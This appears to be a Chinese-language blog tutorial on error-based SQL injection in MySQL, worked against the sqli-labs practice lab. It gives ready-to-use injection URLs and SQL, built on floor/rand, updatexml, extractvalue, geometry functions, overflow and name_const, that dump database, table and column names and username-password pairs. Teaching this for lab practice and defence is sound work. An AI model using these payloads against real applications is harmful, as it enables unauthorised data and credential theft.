基于报错的SQL注入

 Qiqi's Blog     2018-02-03   4058 words    & views

基于报错的SQL注入

0x01 主键重复

floor() 为取整函数,floor(x)表示向下取整,只返回x的整数部分,小数部分舍弃

rand() 在0和1之间产生一个随机数

rand()*2 在0和2之间产生一个随机数

rand(x) 当整数值x被指定时,它被作为种子值。每个种子产生的随机数序列是不同的。

rand(0)*2 取0到2的随机数,但值是固定的,第n次产生的数均相同,0 1 1 0 1 1 0 0 1 1 1 0 ……

floor(rand()*2)有两条记录就会报错

floor(rand(0)*2)记录需3条以上,且3条以上必报错,返回的值是有规律的

报错过程:

1.首先读取第一条数据,取出floor(rand(0)*2),得结果0,虚拟表中并不存在0,所以这时候要创建新主键,这时候它向主键插入floor(rand(0)*2),这时候rand已经变成了1,于是插入了1

2.然后读取第二条数据,取出floor(rand(0)*2),得结果1,虚拟表中存在1,所以它直接插入了第二条数据。

3.然后读取第三条数据,取出floor(rand(0)*2),得结果0,虚拟表中不存0,所以这时候要创建新主键,它向主键中插入floor(rand(0)*2),这时候rand已经变为了1,已经存在1这个主键,所以发生了冲突,进而报错.

爆库名

localhost/sqli-labs-master/less-6/index.php?id=1" and (select 1 from (select count(*),(concat((select database()),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+

爆表名

localhost/sqli-labs-master/less-6/index.php?id=1" and (select 1 from (select count(*),(concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+

爆列名

localhost/sqli-labs-master/less-6/index.php?id=1" and (select 1 from (select count(*),(concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+

爆字段

localhost/sqli-labs-master/less-6/index.php?id=1" and (select 1 from (select count(*),(concat((select concat_ws(' | ',username,password) from security.users limit
0,1),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+

0x02 updatexml()

updatexml(XML_document,XPath_string,nex_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,

第二个参数:XPath_string (Xpath格式的字符串) ,

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml报错最多只能显示32位,我们可以借助字符串切割函数来显示任意位数的数据,可以使用mid(),或者substr()。

爆库名

localhost/sqli-labs-master/less-6/index.php?id=1" and updatexml(1,concat(0x7e,(mid((select database()),1,31))),1)--+

爆表名

localhost/sqli-labs-master/less-6/index.php?id=1" and updatexml(1,concat(0x7e,(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,31))),1)--+

爆列名

localhost/sqli-labs-master/less-6/index.php?id=1" and updatexml(1,concat(0x7e,(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,31))),1)--+

爆字段

localhost/sqli-labs-master/less-6/index.php?id=1" and updatexml(1,concat(0x07,(mid((select concat_ws(' | ',username,password) from users limit 0,1),1,31))),1)--+

0x03 extractvalue()

ExtractValue(XML_document,XPath_string)

第一个参数:XML_document是String格式,为XML文档对象的名称。

第二个参数:XPath_string(Xpath格式的字符串)

作用:从目标XML中返回包含所查询值的字符串

爆库名

localhost/sqli-labs-master/less-6/index.php?id=1" and extractvalue(1,concat(0x7e,mid((select database()),1,31)))--+

其余都类似,不再赘述

0x04 几何函数报错

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

这些函数接受几何数据作为参数,如果不符合要求,就会报错,并且会将查询结果显示在错误信息中。

multipoint((select * from(select * from(select user())a)b));

4.1(未精确测试) <= Mysql版本号<= 5.5.48 (精确测试)

0x05 数据溢出

整形溢出

select ~0+!(select * from (select user())x);
select (select(!x-~0)from(select(select user())x)a);

双精度溢出

利用exp()函数

select exp(~(select * from(select user())x));

0x06 列名重复

name_const(name,value) 返回给定值。当用来产生一个结果集合列时,name_const促使该列使用给定名称。

mysql> select name_const(version(),1);
+--------+
| 5.7.20 |
+--------+
|      1 |
+--------+
1 row in set (0.00 sec)

构造重复的列

select * from (select name_const(version(),1),name_const(version(),1))a;

高版本mysql修复了这个问题,要求第一个参数必须为常量,所以我们只能去查询user(),version()一些系统常量。

但在低版本中(Mysql 5.0.12 <= 版本 <= Mysql 5.0.51),可以成功利用。

select * from (select name_const((select database()),1),name_const((select database()),1))a;

利用join()函数可以用来爆列名

mysql> select * from(select * from users a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from(select * from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from(select * from user a join users b using(id, username))c;
ERROR 1060 (42S21): Duplicate column name 'password'

0x07 insert报错

等待更新~

0x08 update报错

等待更新~

0x09 delete报错

等待更新~